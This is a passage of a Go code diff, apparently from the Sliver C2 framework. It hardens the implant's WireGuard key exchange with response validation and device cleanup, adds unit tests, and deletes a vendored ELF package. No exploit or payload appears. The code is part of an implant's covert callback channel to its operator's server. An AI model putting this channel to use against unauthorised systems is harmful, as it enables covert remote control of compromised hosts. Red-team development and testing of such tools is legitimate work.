||||
{
|
||||
name: "key exchange dial",
|
||||
dev: &ownershipTestDevice{},
|
||||
dial: func(string, string) (net.Conn, error) { return nil, dialErr },
|
||||
wantErr: dialErr,
|
||||
wantDialed: true,
|
||||
},
|
||||
{
|
||||
name: "key exchange response",
|
||||
dev: &ownershipTestDevice{},
|
||||
dial: func(string, string) (net.Conn, error) {
|
||||
client, server := net.Pipe()
|
||||
go func() {
|
||||
_, _ = server.Write([]byte("malformed"))
|
||||
_ = server.Close()
|
||||
}()
|
||||
return client, nil
|
||||
},
|
||||
wantDialed: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
dialer := &ownershipTestDialer{dial: test.dial}
|
||||
err := getSessKeysWithDevice(test.dev, dialer)
|
||||
if err == nil {
|
||||
t.Fatal("expected key exchange to fail")
|
||||
}
|
||||
if test.wantErr != nil && !errors.Is(err, test.wantErr) {
|
||||
t.Fatalf("got error %v, want %v", err, test.wantErr)
|
||||
}
|
||||
if test.dev.closeCalls != 1 {
|
||||
t.Fatalf("temporary device Close called %d times, want 1", test.dev.closeCalls)
|
||||
}
|
||||
if got := dialer.dialCalls > 0; got != test.wantDialed {
|
||||
t.Fatalf("dial called=%v, want %v", got, test.wantDialed)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDialDeviceTransfersOrReleasesOwnership(t *testing.T) {
|
||||
t.Run("success", func(t *testing.T) {
|
||||
client, server := net.Pipe()
|
||||
defer func() { _ = server.Close() }()
|
||||
dev := &ownershipTestDevice{}
|
||||
dialer := &ownershipTestDialer{dial: func(string, string) (net.Conn, error) { return client, nil }}
|
||||
connection, err := dialDevice(dialer, dev, "tcp", "100.64.0.1:8888")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer func() { _ = connection.Close() }()
|
||||
if dev.closeCalls != 0 {
|
||||
t.Fatalf("successful dial closed returned device %d times", dev.closeCalls)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("failure", func(t *testing.T) {
|
||||
wantErr := errors.New("dial failed")
|
||||
dev := &ownershipTestDevice{}
|
||||
dialer := &ownershipTestDialer{dial: func(string, string) (net.Conn, error) { return nil, wantErr }}
|
||||
connection, err := dialDevice(dialer, dev, "tcp", "100.64.0.1:8888")
|
||||
if connection != nil || !errors.Is(err, wantErr) {
|
||||
t.Fatalf("got connection=%v error=%v, want nil and %v", connection, err, wantErr)
|
||||
}
|
||||
if dev.closeCalls != 1 {
|
||||
t.Fatalf("failed dial closed device %d times, want 1", dev.closeCalls)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestConfigureDeviceTransfersOrReleasesOwnership(t *testing.T) {
|
||||
t.Run("success", func(t *testing.T) {
|
||||
dev := &ownershipTestDevice{}
|
||||
if err := configureDevice(dev, bytes.NewBufferString("private_key=test\n")); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dev.closeCalls != 0 {
|
||||
t.Fatalf("successful configuration closed returned device %d times", dev.closeCalls)
|
||||
}
|
||||
if dev.configured != "private_key=test\n" {
|
||||
t.Fatalf("unexpected configuration %q", dev.configured)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("failure", func(t *testing.T) {
|
||||
wantErr := errors.New("configuration failed")
|
||||
dev := &ownershipTestDevice{configureErr: wantErr}
|
||||
err := configureDevice(dev, bytes.NewBufferString("private_key=test\n"))
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("got error %v, want %v", err, wantErr)
|
||||
}
|
||||
if dev.closeCalls != 1 {
|
||||
t.Fatalf("failed configuration closed device %d times, want 1", dev.closeCalls)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
//go:build windows || darwin || linux
|
||||
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func exchangeResponse(t *testing.T, response string) (string, string, string, error) {
|
||||
t.Helper()
|
||||
client, server := net.Pipe()
|
||||
go func() {
|
||||
_, _ = server.Write([]byte(response))
|
||||
_ = server.Close()
|
||||
}()
|
||||
defer func() { _ = client.Close() }()
|
||||
return doKeyExchange(client)
|
||||
}
|
||||
|
||||
func TestDoKeyExchangeParsesTextTunnelIP(t *testing.T) {
|
||||
privateKey := strings.Repeat("a", 64)
|
||||
publicKey := strings.Repeat("b", 64)
|
||||
gotPrivate, gotPublic, gotIP, err := exchangeResponse(t, privateKey+"|"+publicKey+"|100.64.0.23")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if gotPrivate != privateKey || gotPublic != publicKey || gotIP != "100.64.0.23" {
|
||||
t.Fatalf("unexpected exchange result: private=%q public=%q ip=%q", gotPrivate, gotPublic, gotIP)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoKeyExchangeRejectsMalformedResponses(t *testing.T) {
|
||||
key := strings.Repeat("a", 64)
|
||||
tests := map[string]string{
|
||||
"missing field": key + "|" + key,
|
||||
"short key": "aa|" + key + "|100.64.0.2",
|
||||
"non-hex key": strings.Repeat("z", 64) + "|" + key + "|100.64.0.2",
|
||||
"invalid IP": key + "|" + key + "|not-an-ip",
|
||||
"IPv6 tunnel IP": key + "|" + key + "|fd00::2",
|
||||
"oversized payload": strings.Repeat("x", 257),
|
||||
}
|
||||
for name, response := range tests {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
_, _, _, err := exchangeResponse(t, response)
|
||||
if err == nil {
|
||||
t.Fatal("expected malformed key exchange response to fail")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"crypto/ed25519"
|
||||
"crypto/sha256"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
@@ -47,7 +48,6 @@ import (
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/netstack"
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"golang.zx2c4.com/wireguard/conn"
|
||||
"golang.zx2c4.com/wireguard/device"
|
||||
"golang.zx2c4.com/wireguard/tun"
|
||||
"google.golang.org/protobuf/proto"
|
||||
@@ -251,12 +251,35 @@ func formatWGEndpoint(address string, port uint16) string {
|
||||
return net.JoinHostPort(address, strconv.Itoa(int(port)))
|
||||
}
|
||||
|
||||
type permanentDevice interface {
|
||||
Close()
|
||||
}
|
||||
|
||||
type sessionKeyDevice interface {
|
||||
permanentDevice
|
||||
Up() error
|
||||
}
|
||||
|
||||
type netDialer interface {
|
||||
Dial(network string, address string) (net.Conn, error)
|
||||
}
|
||||
|
||||
type deviceConfigurator interface {
|
||||
permanentDevice
|
||||
IpcSetOperation(io.Reader) error
|
||||
}
|
||||
|
||||
// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
|
||||
func getSessKeys(address string, port uint16) error {
|
||||
_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return getSessKeysWithDevice(dev, tNet)
|
||||
}
|
||||
|
||||
func getSessKeysWithDevice(dev sessionKeyDevice, tNet netDialer) error {
|
||||
defer dev.Close()
|
||||
|
||||
if err := dev.Up(); err != nil {
|
||||
return err
|
||||
@@ -271,25 +294,17 @@ func getSessKeys(address string, port uint16) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Unable to connect to wg key exchange listener: %v", err)
|
||||
// {{end}}
|
||||
_ = dev.Down()
|
||||
return err
|
||||
}
|
||||
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress = doKeyExchange(keyExchangeConnection)
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress, err = doKeyExchange(keyExchangeConnection)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Signaling wg device to go down")
|
||||
log.Printf("Closing temporary wg key exchange device")
|
||||
// {{end}}
|
||||
|
||||
// Close initial wireguard connection
|
||||
err = dev.Down()
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to close device.Device: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -309,7 +324,7 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
connection, err := tNet.Dial("tcp", fmt.Sprintf("%s:%d", serverTunIP, wgTcpCommsPort))
|
||||
connection, err := dialDevice(tNet, dev, "tcp", fmt.Sprintf("%s:%d", serverTunIP, wgTcpCommsPort))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Unable to connect to sliver listener: %v", err)
|
||||
@@ -326,6 +341,15 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
return connection, dev, nil
|
||||
}
|
||||
|
||||
func dialDevice(dialer netDialer, dev permanentDevice, network string, address string) (net.Conn, error) {
|
||||
connection, err := dialer.Dial(network, address)
|
||||
if err != nil {
|
||||
dev.Close()
|
||||
return nil, err
|
||||
}
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// bringUpWGInterface - First creates an inet.af network stack.
|
||||
// then creates a Wireguard device/interface and applies configuration
|
||||
func bringUpWGInterface(address string, port uint16, implantPrivKey string, serverPubKey string, netstackTunIP string) (tun.Device, *device.Device, *netstack.Net, error) {
|
||||
@@ -342,6 +366,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
// {{if .Config.Debug}}
|
||||
log.Panic(err)
|
||||
// {{end}}
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
|
||||
wgLogLevel := device.LogLevelSilent
|
||||
@@ -349,7 +374,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
wgLogLevel = device.LogLevelVerbose
|
||||
// {{end}}
|
||||
|
||||
dev := device.NewDevice(tun, conn.NewDefaultBind(), device.NewLogger(wgLogLevel, "[c2/wg] "))
|
||||
dev := device.NewDevice(tun, newWGUDPBind(), device.NewLogger(wgLogLevel, "[c2/wg] "))
|
||||
wgConf := bytes.NewBuffer(nil)
|
||||
fmt.Fprintf(wgConf, "private_key=%s\n", implantPrivKey)
|
||||
fmt.Fprintf(wgConf, "public_key=%s\n", serverPubKey)
|
||||
@@ -360,7 +385,7 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
log.Printf("Configuring wg device with: %s", wgConf.String())
|
||||
// {{end}}
|
||||
|
||||
if err := dev.IpcSetOperation(bufio.NewReader(wgConf)); err != nil {
|
||||
if err := configureDevice(dev, bufio.NewReader(wgConf)); err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to set wg device config: %s", err)
|
||||
// {{end}}
|
||||
@@ -373,29 +398,53 @@ func bringUpWGInterface(address string, port uint16, implantPrivKey string, serv
|
||||
return tun, dev, tNet, nil
|
||||
}
|
||||
|
||||
func configureDevice(dev deviceConfigurator, config io.Reader) error {
|
||||
if err := dev.IpcSetOperation(config); err != nil {
|
||||
dev.Close()
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// doKeyExchange - Connect to key exchange listener and retrieve new dynamic wg keys
|
||||
func doKeyExchange(conn net.Conn) (string, string, string) {
|
||||
func doKeyExchange(conn net.Conn) (string, string, string, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Connected to key exchange listener")
|
||||
// {{end}}
|
||||
defer conn.Close()
|
||||
|
||||
// 129 = 64 byte key + 1 byte delimiter + 64 byte key + 1 byte delimiter + 16 byte ip address
|
||||
buff := make([]byte, 146)
|
||||
buffReader := bufio.NewReader(conn)
|
||||
|
||||
_, err := io.ReadFull(buffReader, buff)
|
||||
const maxMessageSize = 256
|
||||
buff, err := io.ReadAll(io.LimitReader(conn, maxMessageSize+1))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to read wg keys from key exchange listener: %s", err)
|
||||
// {{end}}
|
||||
return "", "", "", fmt.Errorf("read WireGuard key exchange response: %w", err)
|
||||
}
|
||||
if len(buff) > maxMessageSize {
|
||||
return "", "", "", errors.New("WireGuard key exchange response exceeds maximum length")
|
||||
}
|
||||
|
||||
stringSlice := strings.Split(string(buff), "|")
|
||||
if len(stringSlice) != 3 {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange response: got %d fields", len(stringSlice))
|
||||
}
|
||||
for index, key := range stringSlice[:2] {
|
||||
if len(key) != 64 {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange key %d length", index+1)
|
||||
}
|
||||
if _, err := hex.DecodeString(key); err != nil {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange key %d encoding", index+1)
|
||||
}
|
||||
}
|
||||
tunIP, err := netip.ParseAddr(stringSlice[2])
|
||||
if err != nil || !tunIP.Is4() {
|
||||
return "", "", "", fmt.Errorf("invalid WireGuard key exchange tunnel IP %q", stringSlice[2])
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Retrieved new keys, priv:%s, pub:%s, ip:%s", stringSlice[0], stringSlice[1], net.IP(stringSlice[2]).String())
|
||||
log.Printf("Retrieved new WireGuard session keys for tunnel IP %s", tunIP.String())
|
||||
// {{end}}
|
||||
return stringSlice[0], stringSlice[1], net.IP(stringSlice[2]).String()
|
||||
return stringSlice[0], stringSlice[1], tunIP.String(), nil
|
||||
}
|
||||
|
||||
func getWgKeyExchangePort() int {
|
||||
|
||||
-27
@@ -1,27 +0,0 @@
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are
|
||||
met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
* Redistributions in binary form must reproduce the above
|
||||
copyright notice, this list of conditions and the following disclaimer
|
||||
in the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
* Neither the name of Google Inc. nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
||||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
-3000
File diff suppressed because it is too large.
Load diff
-32
@@ -1,32 +0,0 @@
|
||||
package elf
|
||||
|
||||
/*
|
||||
Any symbol in the dynamic symbol table (in .dynsym) for which .st_shndx == SHN_UNDEF
|
||||
(references undefined section) is an import, and every other symbol is defined and exported.
|
||||
*/
|
||||
|
||||
// Export - describes a single export entry
|
||||
type Export struct {
|
||||
Name string
|
||||
VirtualAddress uint64
|
||||
}
|
||||
|
||||
// Exports - gets exports
|
||||
func (f *File) Exports() ([]Export, error) {
|
||||
|
||||
var exports []Export
|
||||
symbols, err := f.DynamicSymbols()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, s := range symbols {
|
||||
if s.Section != SHN_UNDEF {
|
||||
exports = append(exports, Export{
|
||||
Name: s.Name,
|
||||
VirtualAddress: s.Value,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return exports, nil
|
||||
}
|
||||
-964
@@ -1,964 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package elf implements access to ELF object files.
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"debug/dwarf"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// seekStart, seekCurrent, seekEnd are copies of
|
||||
// io.SeekStart, io.SeekCurrent, and io.SeekEnd.
|
||||
// We can't use the ones from package io because
|
||||
// we want this code to build with Go 1.4 during
|
||||
// cmd/dist bootstrap.
|
||||
const (
|
||||
seekStart int = 0
|
||||
seekCurrent int = 1
|
||||
seekEnd int = 2
|
||||
)
|
||||
|
||||
// TODO: error reporting detail
|
||||
|
||||
/*
|
||||
* Internal ELF representation
|
||||
*/
|
||||
|
||||
// A FileHeader represents an ELF file header.
|
||||
type FileHeader struct {
|
||||
Class Class
|
||||
Data Data
|
||||
Version Version
|
||||
OSABI OSABI
|
||||
ABIVersion uint8
|
||||
ByteOrder binary.ByteOrder
|
||||
Type Type
|
||||
Machine Machine
|
||||
Entry uint64
|
||||
SHTOffset int64
|
||||
ShStrIndex int
|
||||
}
|
||||
|
||||
// A File represents an open ELF file.
|
||||
type File struct {
|
||||
FileHeader
|
||||
Sections []*Section
|
||||
Progs []*Prog
|
||||
closer io.Closer
|
||||
gnuNeed []verneed
|
||||
gnuVersym []byte
|
||||
Insertion []byte
|
||||
InsertionEOF []byte
|
||||
|
||||
DynTags []DynTagValue
|
||||
}
|
||||
|
||||
// A SectionHeader represents a single ELF section header.
|
||||
type SectionHeader struct {
|
||||
Name string
|
||||
Type SectionType
|
||||
Flags SectionFlag
|
||||
Addr uint64
|
||||
Offset uint64
|
||||
Size uint64
|
||||
Link uint32
|
||||
Info uint32
|
||||
Addralign uint64
|
||||
Entsize uint64
|
||||
|
||||
Shnum int // Section Header Number
|
||||
Shname uint32 // Section Header Name (index)
|
||||
|
||||
// FileSize is the size of this section in the file in bytes.
|
||||
// If a section is compressed, FileSize is the size of the
|
||||
// compressed data, while Size (above) is the size of the
|
||||
// uncompressed data.
|
||||
FileSize uint64
|
||||
}
|
||||
|
||||
// A Section represents a single section in an ELF file.
|
||||
type Section struct {
|
||||
SectionHeader
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
//
|
||||
// ReaderAt may be nil if the section is not easily available
|
||||
// in a random-access form. For example, a compressed section
|
||||
// may have a nil ReaderAt.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
|
||||
compressionType CompressionType
|
||||
compressionOffset int64
|
||||
}
|
||||
|
||||
// Data reads and returns the contents of the ELF section.
|
||||
// Even if the section is stored compressed in the ELF file,
|
||||
// Data returns uncompressed data.
|
||||
func (s *Section) Data() ([]byte, error) {
|
||||
dat := make([]byte, s.Size)
|
||||
n, err := io.ReadFull(s.Open(), dat)
|
||||
return dat[0:n], err
|
||||
}
|
||||
|
||||
// stringTable reads and returns the string table given by the
|
||||
// specified link value.
|
||||
func (f *File) stringTable(link uint32) ([]byte, error) {
|
||||
if link <= 0 || link >= uint32(len(f.Sections)) {
|
||||
return nil, errors.New("section has invalid string table link")
|
||||
}
|
||||
return f.Sections[link].Data()
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the ELF section.
|
||||
// Even if the section is stored compressed in the ELF file,
|
||||
// the ReadSeeker reads uncompressed data.
|
||||
func (s *Section) Open() io.ReadSeeker {
|
||||
if s.Flags&SHF_COMPRESSED == 0 {
|
||||
return io.NewSectionReader(s.sr, 0, 1<<63-1)
|
||||
}
|
||||
if s.compressionType == COMPRESS_ZLIB {
|
||||
return &readSeekerFromReader{
|
||||
reset: func() (io.Reader, error) {
|
||||
fr := io.NewSectionReader(s.sr, s.compressionOffset, int64(s.FileSize)-s.compressionOffset)
|
||||
return zlib.NewReader(fr)
|
||||
},
|
||||
size: int64(s.Size),
|
||||
}
|
||||
}
|
||||
err := &FormatError{int64(s.Offset), "unknown compression type", s.compressionType}
|
||||
return errorReader{err}
|
||||
}
|
||||
|
||||
// A ProgHeader represents a single ELF program header.
|
||||
type ProgHeader struct {
|
||||
Type ProgType
|
||||
Flags ProgFlag
|
||||
Off uint64
|
||||
Vaddr uint64
|
||||
Paddr uint64
|
||||
Filesz uint64
|
||||
Memsz uint64
|
||||
Align uint64
|
||||
}
|
||||
|
||||
// A Prog represents a single ELF program header in an ELF binary.
|
||||
type Prog struct {
|
||||
ProgHeader
|
||||
|
||||
// Embed ReaderAt for ReadAt method.
|
||||
// Do not embed SectionReader directly
|
||||
// to avoid having Read and Seek.
|
||||
// If a client wants Read and Seek it must use
|
||||
// Open() to avoid fighting over the seek offset
|
||||
// with other clients.
|
||||
io.ReaderAt
|
||||
sr *io.SectionReader
|
||||
}
|
||||
|
||||
// Open returns a new ReadSeeker reading the ELF program body.
|
||||
func (p *Prog) Open() io.ReadSeeker { return io.NewSectionReader(p.sr, 0, 1<<63-1) }
|
||||
|
||||
// A Symbol represents an entry in an ELF symbol table section.
|
||||
type Symbol struct {
|
||||
Name string
|
||||
NameIndex uint32
|
||||
Info, Other byte
|
||||
Section SectionIndex
|
||||
SectIndex uint16
|
||||
Value, Size uint64
|
||||
}
|
||||
|
||||
// ToSym64 - Convert to a Sym64
|
||||
func (s Symbol) ToSym64() (retval Sym64) {
|
||||
|
||||
retval.Name = s.NameIndex
|
||||
retval.Info = s.Info
|
||||
retval.Other = s.Other
|
||||
retval.Shndx = s.SectIndex
|
||||
retval.Value = s.Value
|
||||
retval.Size = s.Size
|
||||
return
|
||||
}
|
||||
|
||||
// ToSym32 - Convert to a Sym32
|
||||
func (s Symbol) ToSym32() (retval Sym32) {
|
||||
|
||||
retval.Name = s.NameIndex
|
||||
retval.Info = s.Info
|
||||
retval.Other = s.Other
|
||||
retval.Shndx = s.SectIndex
|
||||
retval.Value = uint32(s.Value)
|
||||
retval.Size = uint32(s.Size)
|
||||
return
|
||||
}
|
||||
|
||||
/*
|
||||
* ELF reader
|
||||
*/
|
||||
|
||||
type FormatError struct {
|
||||
off int64
|
||||
msg string
|
||||
val interface{}
|
||||
}
|
||||
|
||||
func (e *FormatError) Error() string {
|
||||
msg := e.msg
|
||||
if e.val != nil {
|
||||
msg += fmt.Sprintf(" '%v' ", e.val)
|
||||
}
|
||||
msg += fmt.Sprintf("in record at byte %#x", e.off)
|
||||
return msg
|
||||
}
|
||||
|
||||
// Open opens the named file using os.Open and prepares it for use as an ELF binary.
|
||||
func Open(name string) (*File, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
// Close closes the File.
|
||||
// If the File was created using NewFile directly instead of Open,
|
||||
// Close has no effect.
|
||||
func (f *File) Close() error {
|
||||
var err error
|
||||
if f.closer != nil {
|
||||
err = f.closer.Close()
|
||||
f.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
// SectionByType returns the first section in f with the
|
||||
// given type, or nil if there is no such section.
|
||||
func (f *File) SectionByType(typ SectionType) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Type == typ {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SectionByName returns the first section in f with the
|
||||
// given name, or nil if there is no such section.
|
||||
func (f *File) SectionByName(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// NewFile creates a new File for accessing an ELF binary in an underlying reader.
|
||||
// The ELF binary is expected to start at position 0 in the ReaderAt.
|
||||
func NewFile(r io.ReaderAt) (*File, error) {
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
// Read and decode ELF identifier
|
||||
var ident [16]uint8
|
||||
if _, err := r.ReadAt(ident[0:], 0); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if ident[0] != '\x7f' || ident[1] != 'E' || ident[2] != 'L' || ident[3] != 'F' {
|
||||
return nil, &FormatError{0, "bad magic number", ident[0:4]}
|
||||
}
|
||||
|
||||
f := new(File)
|
||||
f.Class = Class(ident[EI_CLASS])
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
case ELFCLASS64:
|
||||
// ok
|
||||
default:
|
||||
return nil, &FormatError{0, "unknown ELF class", f.Class}
|
||||
}
|
||||
|
||||
f.Data = Data(ident[EI_DATA])
|
||||
switch f.Data {
|
||||
case ELFDATA2LSB:
|
||||
f.ByteOrder = binary.LittleEndian
|
||||
case ELFDATA2MSB:
|
||||
f.ByteOrder = binary.BigEndian
|
||||
default:
|
||||
return nil, &FormatError{0, "unknown ELF data encoding", f.Data}
|
||||
}
|
||||
|
||||
f.Version = Version(ident[EI_VERSION])
|
||||
if f.Version != EV_CURRENT {
|
||||
return nil, &FormatError{0, "unknown ELF version", f.Version}
|
||||
}
|
||||
|
||||
f.OSABI = OSABI(ident[EI_OSABI])
|
||||
f.ABIVersion = ident[EI_ABIVERSION]
|
||||
|
||||
// Read ELF file header
|
||||
var phoff int64
|
||||
var phentsize, phnum int
|
||||
var shentsize, shnum int
|
||||
f.ShStrIndex = -1
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
hdr := new(Header32)
|
||||
sr.Seek(0, seekStart)
|
||||
if err := binary.Read(sr, f.ByteOrder, hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Type = Type(hdr.Type)
|
||||
f.Machine = Machine(hdr.Machine)
|
||||
f.Entry = uint64(hdr.Entry)
|
||||
if v := Version(hdr.Version); v != f.Version {
|
||||
return nil, &FormatError{0, "mismatched ELF version", v}
|
||||
}
|
||||
phoff = int64(hdr.Phoff)
|
||||
phentsize = int(hdr.Phentsize)
|
||||
phnum = int(hdr.Phnum)
|
||||
f.SHTOffset = int64(hdr.Shoff)
|
||||
shentsize = int(hdr.Shentsize)
|
||||
shnum = int(hdr.Shnum)
|
||||
f.ShStrIndex = int(hdr.Shstrndx)
|
||||
case ELFCLASS64:
|
||||
hdr := new(Header64)
|
||||
sr.Seek(0, seekStart)
|
||||
if err := binary.Read(sr, f.ByteOrder, hdr); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Type = Type(hdr.Type)
|
||||
f.Machine = Machine(hdr.Machine)
|
||||
f.Entry = hdr.Entry
|
||||
if v := Version(hdr.Version); v != f.Version {
|
||||
return nil, &FormatError{0, "mismatched ELF version", v}
|
||||
}
|
||||
phoff = int64(hdr.Phoff)
|
||||
phentsize = int(hdr.Phentsize)
|
||||
phnum = int(hdr.Phnum)
|
||||
f.SHTOffset = int64(hdr.Shoff)
|
||||
shentsize = int(hdr.Shentsize)
|
||||
shnum = int(hdr.Shnum)
|
||||
f.ShStrIndex = int(hdr.Shstrndx)
|
||||
}
|
||||
|
||||
if shnum > 0 && f.SHTOffset > 0 && (f.ShStrIndex < 0 || f.ShStrIndex >= shnum) {
|
||||
return nil, &FormatError{0, "invalid ELF shstrndx", f.ShStrIndex}
|
||||
}
|
||||
|
||||
// Read program headers
|
||||
f.Progs = make([]*Prog, phnum)
|
||||
for i := 0; i < phnum; i++ {
|
||||
off := phoff + int64(i)*int64(phentsize)
|
||||
sr.Seek(off, seekStart)
|
||||
p := new(Prog)
|
||||
switch f.Class {
|
||||
case ELFCLASS32:
|
||||
ph := new(Prog32)
|
||||
if err := binary.Read(sr, f.ByteOrder, ph); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
p.ProgHeader = ProgHeader{
|
||||
Type: ProgType(ph.Type),
|
||||
Flags: ProgFlag(ph.Flags),
|
||||
Off: uint64(ph.Off),
|
||||
Vaddr: uint64(ph.Vaddr),
|
||||
Paddr: uint64(ph.Paddr),
|
||||
Filesz: uint64(ph.Filesz),
|
||||
Memsz: uint64(ph.Memsz),
|
||||
Align: uint64(ph.Align),
|
||||
}
|
||||
case ELFCLASS64:
|
||||
ph := new(Prog64)
|
||||
if err := binary.Read(sr, f.ByteOrder, ph); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
p.ProgHeader = ProgHeader{
|
||||
Type: ProgType(ph.Type),
|
||||
Flags: ProgFlag(ph.Flags),
|
||||
Off: ph.Off,
|
||||
Vaddr: ph.Vaddr,
|
||||
Paddr: ph.Paddr,
|
||||
Filesz: ph.Filesz,
|
||||
Memsz: ph.Memsz,
|
||||
Align: ph.Align,
|
||||
}
|
||||
}
|
||||
p.sr = io.NewSectionReader(r, int64(p.Off), int64(p.Filesz))
|
||||
p.ReaderAt = p.sr
|
||||
f.Progs[i] = p
|
||||
}
|
||||
|
||||
// Read section headers
|
||||
f.Sections = make([]*Section, shnum)
|
||||
names := make([]uint32, shnum)
|
||||
for i := 0; i < shnum; i++ {
|
||||
